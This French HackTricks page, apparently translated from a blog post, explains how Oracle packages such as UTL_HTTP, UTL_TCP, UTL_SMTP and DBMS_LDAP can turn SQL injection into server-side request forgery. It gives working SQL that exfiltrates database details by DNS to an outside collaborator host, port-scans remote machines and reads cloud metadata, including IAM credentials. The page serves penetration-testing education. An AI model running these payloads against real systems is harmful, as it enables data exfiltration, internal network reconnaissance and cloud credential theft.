Injection Oracle

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Servez ce post une copie de la machine Wayback du post supprimé de https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Utiliser Oracle pour effectuer des requĂȘtes HTTP et DNS hors bande est bien documentĂ©, mais en tant que moyen d'exfiltrer des donnĂ©es SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour faire d'autres SSRF/XSPA.

Installer Oracle peut ĂȘtre vraiment douloureux, surtout si vous voulez configurer une instance rapide pour essayer des commandes. Mon ami et collĂšgue chez Appsecco, Abhisek Datta, m'a dirigĂ© vers https://github.com/MaksymBilenko/docker-oracle-12c qui m'a permis de configurer une instance sur une machine Ubuntu t2.large AWS et Docker.

J'ai exécuté la commande docker avec le drapeau --network="host" afin de pouvoir imiter Oracle comme une installation native avec un accÚs réseau complet, pour la durée de ce blog.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Packages Oracle qui prennent en charge une spécification d'URL ou de numéro d'hÎte/port

Afin de trouver des packages et des fonctions qui prennent en charge une spécification d'hÎte et de port, j'ai effectué une recherche Google sur la Documentation en ligne de la base de données Oracle. Plus précisément,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

La recherche a renvoyĂ© les rĂ©sultats suivants (tous ne peuvent pas ĂȘtre utilisĂ©s pour effectuer un rĂ©seau sortant)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Cette recherche rudimentaire ignore Ă©videmment des packages comme DBMS_LDAP (qui permet de passer un nom d'hĂŽte et un numĂ©ro de port) car la page de documentation vous dirige simplement vers un autre emplacement. Par consĂ©quent, il peut y avoir d'autres packages Oracle qui peuvent ĂȘtre abusĂ©s pour effectuer des requĂȘtes sortantes que j'ai pu manquer.

Quoi qu'il en soit, examinons certains des packages que nous avons découverts et listés ci-dessus.

DBMS_LDAP.INIT

Le package DBMS_LDAP permet d'accéder aux données des serveurs LDAP. La fonction init() initialise une session avec un serveur LDAP et prend un nom d'hÎte et un numéro de port comme argument.

Cette fonction a été documentée auparavant pour montrer l'exfiltration de données via DNS, comme ci-dessous.

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Cependant, étant donné que la fonction accepte un nom d'hÎte et un numéro de port comme arguments, vous pouvez l'utiliser pour fonctionner comme un scanner de ports également.

Voici quelques exemples

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Un ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. montre que le port est fermé alors qu'une valeur de session indique que le port est ouvert.

UTL_SMTP

Le package UTL_SMTP est conçu pour envoyer des e-mails via SMTP. L'exemple fourni sur le site de documentation Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail. Pour nous, cependant, l'aspect intéressant est la capacité de fournir une spécification d'hÎte et de port.

Un exemple rudimentaire est montré ci-dessous avec la fonction UTL_SMTP.OPEN_CONNECTION, avec un délai d'attente de 2 secondes.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Un ORA-29276: transfer timeout indique que le port est ouvert mais qu'aucune connexion SMTP n'a été établie, tandis qu'un ORA-29278: SMTP transient error: 421 Service not available montre que le port est fermé.

UTL_TCP

Le package UTL_TCP et ses procĂ©dures et fonctions permettent la communication basĂ©e sur TCP/IP avec des services. S'il est programmĂ© pour un service spĂ©cifique, ce package peut facilement devenir un moyen d'accĂ©der au rĂ©seau ou d'effectuer des requĂȘtes cĂŽtĂ© serveur complĂštes, car tous les aspects d'une connexion TCP/IP peuvent ĂȘtre contrĂŽlĂ©s.

L'exemple sur le site de documentation Oracle montre comment vous pouvez utiliser ce package pour Ă©tablir une connexion TCP brute afin de rĂ©cupĂ©rer une page web. Nous pouvons le simplifier un peu plus et l'utiliser pour faire des requĂȘtes Ă  l'instance de mĂ©tadonnĂ©es par exemple ou Ă  un service TCP/IP arbitraire.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Il est intĂ©ressant de noter qu'en raison de la capacitĂ© Ă  crĂ©er des requĂȘtes TCP brutes, ce package peut Ă©galement ĂȘtre utilisĂ© pour interroger le service de mĂ©tadonnĂ©es d'instance de tous les fournisseurs de cloud, car le type de mĂ©thode et les en-tĂȘtes supplĂ©mentaires peuvent tous ĂȘtre passĂ©s dans la requĂȘte TCP.

UTL_HTTP et RequĂȘtes Web

Peut-ĂȘtre la technique la plus courante et largement documentĂ©e dans chaque tutoriel sur l'injection SQL Oracle hors bande est le UTL_HTTP package. Ce package est dĂ©fini par la documentation comme - Le package UTL_HTTP effectue des appels au protocole de transfert hypertexte (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accĂ©der aux donnĂ©es sur Internet via HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Vous pourriez Ă©galement utiliser cela pour effectuer un scan de ports rudimentaire avec des requĂȘtes comme

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Un ORA-12541: TNS:no listener ou un TNS:operation timed out est un signe que le port TCP est fermé, tandis qu'un ORA-29263: HTTP protocol error ou des données sont un signe que le port est ouvert.

Un autre package que j'ai utilisé dans le passé avec un succÚs variable est la GETCLOB() méthode du type abstrait HTTPURITYPE d'Oracle qui vous permet d'interagir avec une URL et fournit un support pour le protocole HTTP. La méthode GETCLOB() est utilisée pour récupérer la réponse GET d'une URL en tant que type de données CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks